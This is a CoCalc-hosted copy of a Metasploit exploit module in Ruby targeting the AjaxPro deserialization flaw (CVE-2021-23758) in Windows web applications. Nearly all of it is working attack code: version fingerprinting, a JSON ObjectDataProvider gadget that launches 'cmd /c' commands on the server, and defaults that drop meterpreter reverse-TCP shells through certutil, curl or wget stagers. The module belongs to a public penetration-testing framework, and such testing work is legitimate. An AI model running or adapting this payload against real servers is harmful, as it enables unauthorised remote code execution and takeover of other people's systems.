CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/ajaxpro_deserialization_rce.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
8
Rank = ExcellentRanking
9
10
prepend Msf::Exploit::Remote::AutoCheck
11
include Msf::Exploit::Remote::HttpClient
12
include Msf::Exploit::CmdStager
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'AjaxPro Deserialization Remote Code Execution',
19
'Description' => %q{
20
This module leverages an insecure deserialization of data to get
21
remote code execution on the target OS in the context of the user
22
running the website which utilized AjaxPro.
23
24
To achieve code execution, the module will construct some JSON data
25
which will be sent to the target. This data will be deserialized by
26
the AjaxPro JsonDeserializer and will trigger the execution of the
27
payload.
28
29
All AjaxPro versions prior to 21.10.30.1 are vulnerable to this
30
issue, and a vulnerable method which can be used to trigger the
31
deserialization exists in the default AjaxPro namespace.
32
33
AjaxPro 21.10.30.1 removed the vulnerable method, but if a custom
34
method that accepts a parameter of type that is assignable from
35
`ObjectDataProvider` (e.g. `object`) exists, the vulnerability can
36
still be exploited.
37
38
This module has been tested successfully against official AjaxPro on
39
version 7.7.31.1 without any modification, and on version 21.10.30.1
40
with a custom vulnerable method added.
41
},
42
'Author' => [
43
'Hans-Martin Münch (MOGWAI LABS)', # Discovery
44
'Jemmy Wang' # MSF Module
45
],
46
'References' => [
47
['CVE', '2021-23758'],
48
['URL', 'https://mogwailabs.de/en/blog/2022/01/vulnerability-spotlight-rce-in-ajax.net-professional/']
49
],
50
'DisclosureDate' => '2021-12-03',
51
'License' => MSF_LICENSE,
52
'Platform' => ['windows'],
53
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
54
'Privileged' => false,
55
'Targets' => [
56
[
57
'Windows Command',
58
{
59
'Platform' => 'win',
60
'Arch' => ARCH_CMD,
61
'Type' => :win_cmd,
62
'DefaultOptions' => {
63
'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp'
64
}
65
}
66
],
67
[
68
'Windows Dropper',
69
{
70
'Platform' => 'win',
71
'Arch' => [ARCH_X86, ARCH_X64],
72
'Type' => :win_dropper,
73
'DefaultOptions' => {
74
'PAYLOAD' => 'windows/meterpreter/reverse_tcp',
75
'CMDSTAGER::FLAVOR' => 'certutil'
76
},
77
'CmdStagerFlavor' => %w[vbs certutil debug_write debug_asm tftp psh_invokewebrequest curl wget lwp-request]
78
}
79
],
80
],
81
'DefaultOptions' => { 'WfsDelay' => 30 },
82
'DefaultTarget' => 0,
83
'Notes' => {
84
'Stability' => [CRASH_SAFE],
85
'Reliability' => [REPEATABLE_SESSION],
86
'SideEffects' => [SCREEN_EFFECTS, IOC_IN_LOGS, ARTIFACTS_ON_DISK]
87
}
88
)
89
)
90
91
register_options([
92
OptString.new('TARGETURI', [true, 'Base path to AjaxPro Handler', '/ajaxpro/']),
93
OptString.new('Namespace', [true, 'Namespace of vulnerable method', 'AjaxPro.Services.ICartService,AjaxPro.2']),
94
OptString.new('Method', [true, 'Name of vulnerable method', 'AddItem']),
95
OptString.new('Parameter', [true, 'Name of vulnerable parameter', 'item'])
96
])
97
98
@ajax_pro = { ID: 'AjaxPro' }
99
end
100
101
def check
102
res = send_request_cgi(
103
'method' => 'GET',
104
'uri' => normalize_uri(target_uri.path, 'core.ashx'),
105
'keep_cookies' => true
106
)
107
unless res
108
return CheckCode::Unknown("Target did not respond to #{normalize_uri(target_uri.path, 'core.ashx')}")
109
end
110
111
unless res.code == 200 && res.headers['Content-Type'].include?('application/x-javascript')
112
return CheckCode::Safe('Is not AjaxPro?')
113
end
114
115
unless (cap = res.body.match(/ID: ?"(\S+?)",/).captures)
116
return CheckCode::Detected('Failed to get AjaxPro ID.')
117
end
118
119
@ajax_pro[:ID] = cap[0]
120
121
unless (cap = res.body.match(/version: ?"(\S+?)",/).captures)
122
return CheckCode::Detected('Failed to get AjaxPro version.')
123
end
124
125
@ajax_pro[:version] = cap[0]
126
127
if Rex::Version.new(@ajax_pro[:version]) >= Rex::Version.new('21.10.30.1')
128
return CheckCode::Safe("AjaxPro version #{@ajax_pro[:version]} is not vulnerable.")
129
end
130
131
res = send_request_cgi(
132
'method' => 'GET',
133
'uri' => normalize_uri(target_uri.path, datastore['Namespace'] + '.ashx'),
134
'keep_cookies' => true
135
)
136
unless res
137
return CheckCode::Appears('Failed to check if the target method exists.')
138
end
139
140
unless res.code == 200 && res.body.match(/#{datastore['Method']}: ?function ?\((\S+?, ?)*#{datastore['Parameter']}(, ?\S+?)*\) ?\{/)
141
return CheckCode::Appears("But method '#{datastore['Method']}' with parameter '#{datastore['Parameter']}' was not found in namespace '#{datastore['Namespace']}'")
142
end
143
144
CheckCode::Appears("Confirmed target method exists and the AjaxPro version (#{@ajax_pro[:version]}) is vulnerable.")
145
end
146
147
def execute_command(cmd, _opts = {})
148
vprint_status("Executing command: #{cmd}")
149
json_post_data = JSON.generate(
150
{
151
"#{datastore['Parameter']}": {
152
__type: 'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
153
MethodName: 'Start',
154
ObjectInstance: {
155
__type: 'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
156
StartInfo: {
157
__type: 'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
158
FileName: 'cmd',
159
Arguments: "/c #{cmd}"
160
}
161
}
162
}
163
}
164
)
165
166
res = send_request_cgi({
167
'method' => 'POST',
168
'uri' => normalize_uri(target_uri.path, datastore['Namespace'] + '.ashx'),
169
'ctype' => 'text/plain; charset=utf-8',
170
'headers' => { "X-#{@ajax_pro[:ID]}-Method" => datastore['Method'] },
171
'data' => json_post_data
172
})
173
unless res
174
fail_with(Failure::Unreachable, "Request to #{normalize_uri(target_uri.path, datastore['Namespace'] + '.ashx')} failed.")
175
end
176
177
unless res.code == 200
178
fail_with(Failure::Unknown, "Failed to execute command. Server returned #{res.code} status.")
179
end
180
end
181
182
def exploit
183
case target['Type']
184
when :win_cmd
185
execute_command(payload.encoded)
186
when :win_dropper
187
execute_cmdstager(background: true, delay: 1)
188
end
189
end
190
end
191
192